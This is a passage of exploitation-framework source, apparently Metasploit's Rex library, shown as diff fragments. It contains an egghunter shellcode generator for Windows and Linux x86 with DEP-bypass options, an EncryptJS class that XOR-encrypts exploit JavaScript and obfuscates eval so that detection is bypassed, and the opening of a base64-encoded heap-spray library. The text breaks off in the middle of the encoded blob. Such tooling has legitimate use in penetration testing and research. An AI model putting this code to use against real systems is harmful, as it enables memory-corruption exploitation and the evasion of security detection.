|
||||
Alias = "win"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
|
||||
#
|
||||
# The egg hunter stub for win/x86.
|
||||
#
|
||||
def hunter_stub(payload, badchars = '', opts = {})
|
||||
|
||||
startreg = opts[:startreg]
|
||||
searchforward = opts[:searchforward]
|
||||
|
||||
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
|
||||
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
||||
|
||||
checksum = checksum_stub(payload, badchars, opts)
|
||||
|
||||
startstub = ''
|
||||
if startreg
|
||||
if startreg.downcase != 'edx'
|
||||
startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
|
||||
else
|
||||
startstub = "\n\tjmp next_addr"
|
||||
end
|
||||
end
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
|
||||
# search forward or backward ?
|
||||
flippage = "\n\tor dx,0xfff"
|
||||
edxdirection = "\n\tinc edx"
|
||||
|
||||
if searchforward.to_s.downcase == 'false'
|
||||
# go backwards
|
||||
flippage = "\n\txor dl,dl"
|
||||
edxdirection = "\n\tdec edx"
|
||||
end
|
||||
|
||||
# other vars
|
||||
getpointer = ''
|
||||
getsize = ''
|
||||
getalloctype = ''
|
||||
getpc = ''
|
||||
jmppayload = "jmp edi"
|
||||
|
||||
apireg = opts[:depreg] || 'esi'
|
||||
apidest = opts[:depdest]
|
||||
depsize = opts[:depsize]
|
||||
|
||||
freeregs = [ "esi", "ebp", "ecx", "ebx" ]
|
||||
|
||||
reginfo = {
|
||||
"ebx"=>["bx","bl","bh"],
|
||||
"ecx"=>["cx","cl","ch"]
|
||||
}
|
||||
|
||||
if opts[:depmethod]
|
||||
|
||||
if freeregs.index(apireg) == nil
|
||||
getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
|
||||
apireg = freeregs[0]
|
||||
end
|
||||
freeregs.delete(apireg)
|
||||
|
||||
if opts[:depmethod].downcase == "virtualalloc"
|
||||
depsize = 0xfff
|
||||
end
|
||||
|
||||
if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
|
||||
if apidest
|
||||
if freeregs.index(apidest) == nil
|
||||
getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
|
||||
apidest = freeregs[0]
|
||||
end
|
||||
else
|
||||
getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
|
||||
apidest = freeregs[0]
|
||||
end
|
||||
freeregs.delete(apidest)
|
||||
end
|
||||
|
||||
|
||||
sizereg = freeregs[0]
|
||||
|
||||
if not depsize
|
||||
depsize = payload.length * 2
|
||||
if opts[:depmethod]
|
||||
if opts[:depmethod].downcase == "copy_size"
|
||||
depsize = payload.length
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if depsize <= 127
|
||||
getsize << "push 0x%02x\n\t" % depsize
|
||||
else
|
||||
sizebytes = "%04x" % depsize
|
||||
low = sizebytes[2,4]
|
||||
high = sizebytes[0,2]
|
||||
if sizereg == "ecx" || sizereg == "ebx"
|
||||
regvars = reginfo[sizereg]
|
||||
getsize << "xor #{sizereg},#{sizereg}\n\t"
|
||||
if low != "00" and high != "00"
|
||||
getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
|
||||
elsif low != "00"
|
||||
getsize << "mov #{regvars[1]},0x%s\n\t" % low
|
||||
elsif high != "00"
|
||||
getsize << "mov #{regvars[2]},0x%s\n\t" % high
|
||||
end
|
||||
end
|
||||
if sizereg == "ebp"
|
||||
if low != "00" and high != "00"
|
||||
getsize << "xor #{sizereg},#{sizereg}\n\t"
|
||||
getsize << "mov bp,0x%s\n\t" % sizebytes
|
||||
end
|
||||
end
|
||||
# last resort
|
||||
if getsize == ''
|
||||
blockcnt = 0
|
||||
vpsize = 0
|
||||
blocksize = depsize
|
||||
while blocksize > 127
|
||||
blocksize = blocksize / 2
|
||||
blockcnt += 1
|
||||
end
|
||||
getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
|
||||
vpsize = blocksize
|
||||
depblockcnt = 0
|
||||
while depblockcnt < blockcnt
|
||||
getsize << "add #{sizereg},#{sizereg}\n\t"
|
||||
vpsize += vpsize
|
||||
depblockcnt += 1
|
||||
end
|
||||
delta = depsize - vpsize
|
||||
if delta > 0
|
||||
getsize << "add #{sizereg},0x%02x\n\t" % delta
|
||||
end
|
||||
end
|
||||
if opts[:depmethod].downcase == "virtualalloc"
|
||||
getsize << "inc #{sizereg}\n\t"
|
||||
end
|
||||
|
||||
getsize << "push #{sizereg}\n\t"
|
||||
|
||||
end
|
||||
|
||||
getalloctype = getsize
|
||||
|
||||
case opts[:depmethod].downcase
|
||||
when "virtualprotect"
|
||||
jmppayload = "push esp\n\tpush 0x40\n\t"
|
||||
jmppayload << getsize
|
||||
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
|
||||
when "virtualalloc"
|
||||
jmppayload = "push 0x40\n\t"
|
||||
jmppayload << getalloctype
|
||||
jmppayload << "push 0x01\n\t"
|
||||
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
|
||||
when "copy"
|
||||
jmppayload = getpc
|
||||
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
|
||||
when "copy_size"
|
||||
jmppayload = getpc
|
||||
jmppayload << getsize
|
||||
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
|
||||
end
|
||||
end
|
||||
|
||||
jmppayload << "\n" if jmppayload.length > 0
|
||||
|
||||
assembly = <<EOS
|
||||
#{getpointer}
|
||||
#{startstub}
|
||||
check_readable:
|
||||
#{flippage}
|
||||
next_addr:
|
||||
#{edxdirection}
|
||||
push edx
|
||||
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
||||
pop eax
|
||||
int 0x2e
|
||||
cmp al,5
|
||||
pop edx
|
||||
je check_readable
|
||||
check_for_tag:
|
||||
; check that the tag matches once
|
||||
mov eax,#{marker}
|
||||
mov edi,edx
|
||||
scasd
|
||||
jne next_addr
|
||||
; it must match a second time too
|
||||
scasd
|
||||
jne next_addr
|
||||
; check the checksum if the feature is enabled
|
||||
#{checksum}
|
||||
; jump to the payload
|
||||
#{jmppayload}
|
||||
EOS
|
||||
|
||||
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
||||
|
||||
# return the stub
|
||||
assembled_code
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Linux-based egghunters
|
||||
#
|
||||
###
|
||||
module Linux
|
||||
Alias = "linux"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
|
||||
#
|
||||
# The egg hunter stub for linux/x86.
|
||||
#
|
||||
def hunter_stub(payload, badchars = '', opts = {})
|
||||
|
||||
startreg = opts[:startreg]
|
||||
|
||||
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
|
||||
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
||||
|
||||
checksum = checksum_stub(payload, badchars, opts)
|
||||
|
||||
startstub = ''
|
||||
if startreg
|
||||
if startreg.downcase != 'ecx'
|
||||
startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
|
||||
else
|
||||
startstub = "\n\tjmp next_addr"
|
||||
end
|
||||
end
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
|
||||
assembly = <<EOS
|
||||
cld
|
||||
#{startstub}
|
||||
check_readable:
|
||||
or cx,0xfff
|
||||
next_addr:
|
||||
inc ecx
|
||||
push 0x43 ; use 'sigaction' syscall
|
||||
pop eax
|
||||
int 0x80
|
||||
cmp al,0xf2
|
||||
je check_readable
|
||||
|
||||
check_for_tag:
|
||||
; check that the tag matches once
|
||||
mov eax,#{marker}
|
||||
mov edi,ecx
|
||||
scasd
|
||||
jne next_addr
|
||||
; it must match a second time too
|
||||
scasd
|
||||
jne next_addr
|
||||
|
||||
; check the checksum if the feature is enabled
|
||||
#{checksum}
|
||||
|
||||
; jump to the payload
|
||||
jmp edi
|
||||
EOS
|
||||
|
||||
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
||||
|
||||
# return the stub
|
||||
assembled_code
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Generic interface
|
||||
#
|
||||
###
|
||||
|
||||
#
|
||||
# Creates a new egghunter instance and acquires the sub-class that should
|
||||
# be used for generating the stub based on the supplied platform and
|
||||
# architecture.
|
||||
#
|
||||
def initialize(platform, arch = nil)
|
||||
Egghunter.constants.each { |c|
|
||||
mod = self.class.const_get(c)
|
||||
|
||||
next if ((!mod.kind_of?(::Module)) or
|
||||
(!mod.const_defined?('Alias')))
|
||||
|
||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
||||
self.extend(mod)
|
||||
|
||||
if (arch and mod)
|
||||
mod.constants.each { |a|
|
||||
amod = mod.const_get(a)
|
||||
|
||||
next if ((!amod.kind_of?(::Module)) or
|
||||
(!amod.const_defined?('Alias')))
|
||||
|
||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
||||
amod = mod.const_get(a)
|
||||
|
||||
self.extend(amod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# This method generates an egghunter using the derived hunter stub.
|
||||
#
|
||||
def generate(payload, badchars = '', opts = {})
|
||||
# set defaults if options are missing
|
||||
|
||||
# NOTE: there is no guarantee this won't exist in memory, even when doubled.
|
||||
# To address this, use the checksum feature :)
|
||||
opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
|
||||
|
||||
# Generate the hunter_stub portion
|
||||
return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
|
||||
|
||||
# Generate the marker bits to be prefixed to the real payload
|
||||
egg = ''
|
||||
egg << opts[:eggtag] * 2
|
||||
egg << payload
|
||||
if opts[:checksum]
|
||||
cksum = 0
|
||||
payload.each_byte { |b|
|
||||
cksum += b
|
||||
}
|
||||
egg << [cksum & 0xff].pack('C')
|
||||
end
|
||||
|
||||
return [ hunter, egg ]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Stub method that is meant to be overridden. It returns the raw stub that
|
||||
# should be used as the egghunter.
|
||||
#
|
||||
def hunter_stub(payload, badchars = '', opts = {})
|
||||
end
|
||||
|
||||
def checksum_stub(payload, badchars = '', opts = {})
|
||||
return '' if not opts[:checksum]
|
||||
|
||||
if payload.length < 0x100
|
||||
cmp_reg = "cl"
|
||||
elsif payload.length < 0x10000
|
||||
cmp_reg = "cx"
|
||||
else
|
||||
raise RuntimeError, "Payload too big!"
|
||||
end
|
||||
egg_size = "0x%x" % payload.length
|
||||
|
||||
checksum = <<EOS
|
||||
push ecx
|
||||
xor ecx,ecx
|
||||
xor eax,eax
|
||||
calc_chksum_loop:
|
||||
add al,byte [edi+ecx]
|
||||
inc ecx
|
||||
cmp #{cmp_reg},#{egg_size}
|
||||
jnz calc_chksum_loop
|
||||
test_chksum:
|
||||
cmp al,byte [edi+ecx]
|
||||
pop ecx
|
||||
jnz next_addr
|
||||
EOS
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
#
|
||||
# Encrypts javascript code
|
||||
#
|
||||
class EncryptJS
|
||||
#
|
||||
# Encrypts a javascript string.
|
||||
#
|
||||
# Encrypts a javascript string via XOR using a given key.
|
||||
# The key must be passed to the executed javascript
|
||||
# so that it can decrypt itself.
|
||||
# The provided loader gets the key from
|
||||
# "location.search.substring(1)"
|
||||
#
|
||||
# This should bypass any detection of the file itself
|
||||
# as information not part of the file is needed to
|
||||
# decrypt the original javascript code.
|
||||
#
|
||||
# Example:
|
||||
# <code>
|
||||
# js = <<ENDJS
|
||||
# function say_hi() {
|
||||
# var foo = "Hello, world";
|
||||
# document.writeln(foo);
|
||||
# }
|
||||
# ENDJS
|
||||
# key = 'secret'
|
||||
# js_encrypted = EncryptJS.encrypt(js, key)
|
||||
# </code>
|
||||
#
|
||||
# You might use something like this in exploit
|
||||
# modules to pass the key to the javascript
|
||||
# <code>
|
||||
# if (!request.uri.match(/\?\w+/))
|
||||
# send_local_redirect(cli, "?#{@key}")
|
||||
# return
|
||||
# end
|
||||
# </code>
|
||||
#
|
||||
|
||||
def self.encrypt(js, key)
|
||||
js.gsub!(/[\r\n]/, '')
|
||||
|
||||
encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0]
|
||||
|
||||
# obfuscate the eval call to circumvent generic detection
|
||||
eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase)
|
||||
eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]'
|
||||
|
||||
js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS
|
||||
var exploit = '#{encoded}';
|
||||
var encoded = '';
|
||||
for (i = 0;i<exploit.length;i+=2) {
|
||||
encoded += String.fromCharCode(parseInt(exploit.substring(i, i+2), 16));
|
||||
}
|
||||
var pass = location.search.substring(1);
|
||||
var decoded = '';
|
||||
for (i=0;i<encoded.length;i++) {
|
||||
decoded += String.fromCharCode(encoded.charCodeAt(i) ^ pass.charCodeAt(i%pass.length));
|
||||
}
|
||||
#{eval_call}(decoded);
|
||||
ENDJS
|
||||
|
||||
js_loader.obfuscate(
|
||||
'Symbols' => {
|
||||
'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ],
|
||||
},
|
||||
'Strings' => false
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,331 @@
|
|||
Ly8NCi8vICAgSmF2YVNjcmlwdCBIZWFwIEV4cGxvaXRhdGlvbiBsaWJyYXJ5
|
||||
DQovLyAgIGJ5IEFsZXhhbmRlciBTb3Rpcm92IDxhc290aXJvdkBkZXRlcm1p
|
||||
bmEuY29tPg0KLy8gIA0KLy8gICBWZXJzaW9uIDAuMw0KLy8NCi8vIENvcHly
|
||||
aWdodCAoYykgMjAwNywgQWxleGFuZGVyIFNvdGlyb3YNCi8vIEFsbCByaWdo
|
||||
dHMgcmVzZXJ2ZWQuDQovLyANCi8vIFRoZSBIZWFwTGliIGxpYnJhcnkgaXMg
|
||||
bGljZW5zZWQgdW5kZXIgYSBCU0QgbGljZW5zZSwgdGhlIHRleHQgb2Ygd2hp
|
||||
Y2ggZm9sbG93czoNCi8vIA0KLy8gUmVkaXN0cmlidXRpb24gYW5kIHVzZSBp
|
||||
biBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0DQov
|
||||
LyBtb2RpZmljYXRpb24sIGFyZSBwZXJtaXR0ZWQgcHJvdmlkZWQgdGhhdCB0
|
||||
aGUgZm9sbG93aW5nIGNvbmRpdGlvbnMNCi8vIGFyZSBtZXQ6DQovLyANCi8v
|
||||
IDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFp
|
||||
biB0aGUgYWJvdmUgY29weXJpZ2h0DQovLyAgICBub3RpY2UsIHRoaXMgbGlz
|
||||
dCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIu
|
||||
DQovLyAyLiBSZWRpc3RyaWJ1dGlvbnMgaW4gYmluYXJ5IGZvcm0gbXVzdCBy
|
||||
ZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodA0KLy8gICAgbm90aWNlLCB0
|
||||
aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNj
|
||||
bGFpbWVyIGluIHRoZQ0KLy8gICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3Ro
|
||||
ZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4N
|
||||
Ci8vIDMuIE5laXRoZXIgdGhlIG5hbWUgb2YgQWxleGFuZGVyIFNvdGlyb3Yg
|
||||
bm9yIHRoZSBuYW1lIG9mIERldGVybWluYSBJbmMuDQovLyAgICBtYXkgYmUg
|
||||
dXNlZCB0byBlbmRvcnNlIG9yIHByb21vdGUgcHJvZHVjdHMgZGVyaXZlZCBm
|
||||
cm9tIHRoaXMgc29mdHdhcmUNCi8vICAgIHdpdGhvdXQgc3BlY2lmaWMgcHJp
|
||||
b3Igd3JpdHRlbiBwZXJtaXNzaW9uLg0KLy8gDQovLyBUSElTIFNPRlRXQVJF
|
||||
IElTIFBST1ZJREVEIEJZIFRIRSBDT1BZUklHSFQgSE9MREVSUyBBTkQgQ09O
|
||||
VFJJQlVUT1JTICJBUyBJUyINCi8vIEFORCBBTlkgRVhQUkVTUyBPUiBJTVBM
|
||||
SUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRP
|
||||
LCBUSEUNCi8vIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJ
|
||||
VFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFDQovLyBB
|
||||
UkUgRElTQ0xBSU1FRC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFIENPUFlSSUdI
|
||||
VCBPV05FUiBPUiBDT05UUklCVVRPUlMgQkUNCi8vIExJQUJMRSBGT1IgQU5Z
|
||||
IERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUwsIFNQRUNJQUwsIEVYRU1Q
|
||||
TEFSWSwgT1INCi8vIENPTlNFUVVFTlRJQUwgREFNQUdFUyAoSU5DTFVESU5H
|
||||
LCBCVVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GDQovLyBTVUJT
|
||||
VElUVVRFIEdPT0RTIE9SIFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwg
|
||||
T1IgUFJPRklUUzsgT1IgQlVTSU5FU1MNCi8vIElOVEVSUlVQVElPTikgSE9X
|
||||
RVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElBQklMSVRZLCBX
|
||||
SEVUSEVSIElODQovLyBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwgT1Ig
|
||||
VE9SVCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKQ0KLy8g
|
||||
QVJJU0lORyBJTiBBTlkgV0FZIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09G
|
||||
VFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBUSEUNCi8vIFBPU1NJQklMSVRZ
|
||||
IE9GIFNVQ0ggREFNQUdFLg0KLy8NCiANCi8vDQovLyBoZWFwTGliIG5hbWVz
|
||||
cGFjZQ0KLy8NCg0KZnVuY3Rpb24gaGVhcExpYigpIHsNCn0NCg0KDQovLw0K
|
||||
Ly8gaGVhcExpYiBjbGFzcw0KLy8NCg0KLy8gaGVhcExpYi5pZSBjb25zdHJ1
|
||||
Y3Rvcg0KLy8NCi8vIENyZWF0ZXMgYSBuZXcgaGVhcExpYiBBUEkgb2JqZWN0
|
||||
IGZvciBJbnRlcm5ldCBFeHBsb3Jlci4gVGhlIG1heEFsbG9jDQovLyBhcmd1
|
||||
bWVudCBzZXRzIHRoZSBtYXhpbXVtIGJsb2NrIHNpemUgdGhhdCBjYW4gYmUg
|
||||
YWxsb2NhdGVkIHVzaW5nIHRoZSBhbGxvYygpDQovLyBmdW5jdGlvbi4NCi8v
|
||||
DQovLyBBcmd1bWVudHM6DQovLyAgICBtYXhBbGxvYyAtIG1heGltdW0gYWxs
|
||||
b2NhdGlvbiBzaXplIGluIGJ5dGVzIChkZWZhdWx0cyB0byA2NTUzNSkNCi8v
|
||||
ICAgIGhlYXBCYXNlIC0gYmFzZSBvZiB0aGUgZGVmYXVsdCBwcm9jZXNzIGhl
|
||||
YXAgKGRlZmF1bHRzIHRvIDB4MTUwMDAwKQ0KLy8NCg0KaGVhcExpYi5pZSA9
|
||||
IGZ1bmN0aW9uKG1heEFsbG9jLCBoZWFwQmFzZSkgew0KDQogICAgdGhpcy5t
|
||||
YXhBbGxvYyA9IChtYXhBbGxvYyA/IG1heEFsbG9jIDogNjU1MzUpOw0KICAg
|
||||
IHRoaXMuaGVhcEJhc2UgPSAoaGVhcEJhc2UgPyBoZWFwQmFzZSA6IDB4MTUw
|
||||
MDAwKTsNCg0KICAgIC8vIEFsbG9jYXRlIGEgcGFkZGluZyBzdHJpbmcgdGhh
|
||||
dCB1c2VzIG1heEFsbG9jIGJ5dGVzDQogICAgdGhpcy5wYWRkaW5nU3RyID0g
|
||||
IkFBQUEiOw0KDQogICAgd2hpbGUgKDQgKyB0aGlzLnBhZGRpbmdTdHIubGVu
|
||||
Z3RoKjIgKyAyIDwgdGhpcy5tYXhBbGxvYykgew0KICAgICAgICB0aGlzLnBh
|
||||
ZGRpbmdTdHIgKz0gdGhpcy5wYWRkaW5nU3RyOw0KICAgIH0NCiAgICANCiAg
|
||||
ICAvLyBDcmVhdGUgYW4gYXJyYXkgZm9yIHN0b3JpbmcgcmVmZXJlbmNlcyB0
|
||||
byBhbGxvY2F0ZWQgbWVtb3J5DQogICAgdGhpcy5tZW0gPSBuZXcgQXJyYXko
|
||||
KTsNCg0KICAgIC8vIENhbGwgZmx1c2hPbGVhdXQzMigpIG9uY2UgdG8gYWxs
|
||||
b2NhdGUgdGhlIG1heGltdW0gc2l6ZSBibG9ja3MNCiAgICB0aGlzLmZsdXNo
|
||||
T2xlYXV0MzIoKTsNCn0NCg0KDQovLw0KLy8gT3V0cHV0cyBhIGRlYnVnZ2lu
|
||||
ZyBtZXNzYWdlIGluIFdpbkRiZy4gVGhlIG1zZyBhcmd1bWVudCBtdXN0IGJl
|
||||
IGEgc3RyaW5nDQovLyBsaXRlcmFsLiBVc2luZyBzdHJpbmcgY29uY2F0ZW5h
|
||||
dGlvbiB0byBidWlsZCB0aGUgbWVzc2FnZSB3aWxsIHJlc3VsdCBpbiBoZWFw
|
||||
DQovLyBhbGxvY2F0aW9ucy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBt
|
||||
c2cgLSBzdHJpbmcgdG8gb3V0cHV0DQovLw0KDQpoZWFwTGliLmllLnByb3Rv
|
||||
dHlwZS5kZWJ1ZyA9IGZ1bmN0aW9uKG1zZykgew0KICAgIHZvaWQoTWF0aC5h
|
||||
dGFuMigweGJhYmUsIG1zZykpOw0KfQ0KDQoNCi8vDQovLyBFbmFibGVzIG9y
|
||||
IGRpc2FibGVzIGxvZ2dpbmcgb2YgaGVhcCBvcGVyYXRpb25zIGluIFdpbkRi
|
||||
Zy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBlbmFibGUgLSBhIGJvb2xl
|
||||
YW4gdmFsdWUsIHNldCB0byB0cnVlIHRvIGVuYWJsZSBoZWFwIGxvZ2dpbmcN
|
||||
Ci8vDQoNCmhlYXBMaWIuaWUucHJvdG90eXBlLmRlYnVnSGVhcCA9IGZ1bmN0
|
||||
aW9uKGVuYWJsZSkgew0KDQogICAgaWYgKGVuYWJsZSA9PSB0cnVlKQ0KICAg
|
||||
ICAgICB2b2lkKE1hdGguYXRhbigweGJhYmUpKTsNCiAgICBlbHNlDQogICAg
|
||||
ICAgIHZvaWQoTWF0aC5hc2luKDB4YmFiZSkpOw0KfQ0KDQoNCi8vDQovLyBU
|
||||
cmlnZ2VycyBhIGJyZWFrcG9pbnQgaW4gdGhlIGRlYnVnZ2VyLg0KLy8NCg0K
|
||||
aGVhcExpYi5pZS5wcm90b3R5cGUuZGVidWdCcmVhayA9IGZ1bmN0aW9uKG1z
|
||||
Zykgew0KICAgIHZvaWQoTWF0aC5hY29zKDB4YmFiZSkpOw0KfQ0KDQoNCi8v
|
||||
DQovLyBSZXR1cm5zIGEgc3RyaW5nIG9mIGEgc3BlY2lmaWVkIGxlbmd0aCwg
|
||||
dXAgdG8gdGhlIG1heGltdW0gYWxsb2NhdGlvbiBzaXplDQovLyBzZXQgaW4g
|
||||
dGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuIFRoZSBzdHJpbmcgY29udGFp
|
||||
bnMgIkEiIGNoYXJhY3RlcnMuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAg
|
||||
bGVuIC0gbGVuZ3RoIGluIGNoYXJhY3RlcnMNCi8vDQoNCmhlYXBMaWIuaWUu
|
||||
cHJvdG90eXBlLnBhZGRpbmcgPSBmdW5jdGlvbihsZW4pIHsNCiAgICBpZiAo
|
||||
bGVuID4gdGhpcy5wYWRkaW5nU3RyLmxlbmd0aCkNCiAgICAgICAgdGhyb3cg
|
||||
IlJlcXVlc3RlZCBwYWRkaW5nIHN0cmluZyBsZW5ndGggIiArIGxlbiArICIs
|
||||
IG9ubHkgIiArIHRoaXMucGFkZGluZ1N0ci5sZW5ndGggKyAiIGF2YWlsYWJs
|
||||
ZSI7DQoNCiAgICByZXR1cm4gdGhpcy5wYWRkaW5nU3RyLnN1YnN0cigwLCBs
|
||||
ZW4pOw0KfQ0KDQoNCi8vDQovLyBSZXR1cm5zIGEgbnVtYmVyIHJvdW5kZWQg
|
||||
dXAgdG8gYSBzcGVjaWZpZWQgdmFsdWUuDQovLw0KLy8gQXJndW1lbnRzOg0K
|
||||
Ly8gICAgbnVtICAgLSBpbnRlZ2VyIHRvIHJvdW5kDQovLyAgICByb3VuZCAt
|
||||
IHZhbHVlIHRvIHJvdW5kIHRvDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw
|
||||
ZS5yb3VuZCA9IGZ1bmN0aW9uKG51bSwgcm91bmQpIHsNCiAgICBpZiAocm91
|
||||
bmQgPT0gMCkNCiAgICAgICAgdGhyb3cgIlJvdW5kIGFyZ3VtZW50IGNhbm5v
|
||||
dCBiZSAwIjsNCg0KICAgIHJldHVybiBwYXJzZUludCgobnVtICsgKHJvdW5k
|
||||
LTEpKSAvIHJvdW5kKSAqIHJvdW5kOw0KfQ0KDQoNCi8vDQovLyBDb252ZXJ0
|
||||
cyBhbiBpbnRlZ2VyIHRvIGEgaGV4IHN0cmluZy4gVGhpcyBmdW5jdGlvbiB1
|
||||
c2VzIHRoZSBoZWFwLg0KLy8NCi8vIEFyZ3VtZW50czoNCi8vICAgIG51bSAg
|
||||
IC0gaW50ZWdlciB0byBjb252ZXJ0DQovLyAgICB3aWR0aCAtIHBhZCB0aGUg
|
||||
b3V0cHV0IHdpdGggemVyb3MgdG8gYSBzcGVjaWZpZWQgd2lkdGggKG9wdGlv
|
||||
bmFsKQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuaGV4ID0gZnVuY3Rp
|
||||
b24obnVtLCB3aWR0aCkNCnsNCiAgICB2YXIgZGlnaXRzID0gIjAxMjM0NTY3
|
||||
ODlBQkNERUYiOw0KDQogICAgdmFyIGhleCA9IGRpZ2l0cy5zdWJzdHIobnVt
|
||||
ICYgMHhGLCAxKTsNCg0KICAgIHdoaWxlIChudW0gPiAweEYpIHsNCiAgICAg
|
||||
ICAgbnVtID0gbnVtID4+PiA0Ow0KICAgICAgICBoZXggPSBkaWdpdHMuc3Vi
|
||||
c3RyKG51bSAmIDB4RiwgMSkgKyBoZXg7DQogICAgfQ0KDQogICAgdmFyIHdp
|
||||
ZHRoID0gKHdpZHRoID8gd2lkdGggOiAwKTsNCg0KICAgIHdoaWxlIChoZXgu
|
||||
bGVuZ3RoIDwgd2lkdGgpDQogICAgICAgIGhleCA9ICIwIiArIGhleDsNCg0K
|
||||
ICAgIHJldHVybiBoZXg7DQp9DQoNCg0KLy8NCi8vIENvbnZlcnQgYSAzMi1i
|
||||
aXQgYWRkcmVzcyB0byBhIDQtYnl0ZSBzdHJpbmcgd2l0aCB0aGUgc2FtZSBy
|
||||
ZXByZXNlbnRhdGlvbiBpbg0KLy8gbWVtb3J5LiBUaGlzIGZ1bmN0aW9uIHVz
|
||||
ZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgYWRkciAt
|
||||
IGludGVnZXIgcmVwcmVzZW50YXRpb24gb2YgdGhlIGFkZHJlc3MNCi8vDQoN
|
||||
CmhlYXBMaWIuaWUucHJvdG90eXBlLmFkZHIgPSBmdW5jdGlvbihhZGRyKSB7
|
||||
DQogICAgcmV0dXJuIHVuZXNjYXBlKCIldSIgKyB0aGlzLmhleChhZGRyICYg
|
||||
MHhGRkZGLCA0KSArICIldSIgKyB0aGlzLmhleCgoYWRkciA+PiAxNikgJiAw
|
||||
eEZGRkYsIDQpKTsNCn0NCg0KDQovLw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sg
|
||||
b2YgYSBzcGVjaWZpZWQgc2l6ZSB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvYyBm
|
||||
dW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgLSBzaXpl
|
||||
IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0
|
||||
cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRpZnlpbmcgdGhlIG1lbW9y
|
||||
eSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw
|
||||
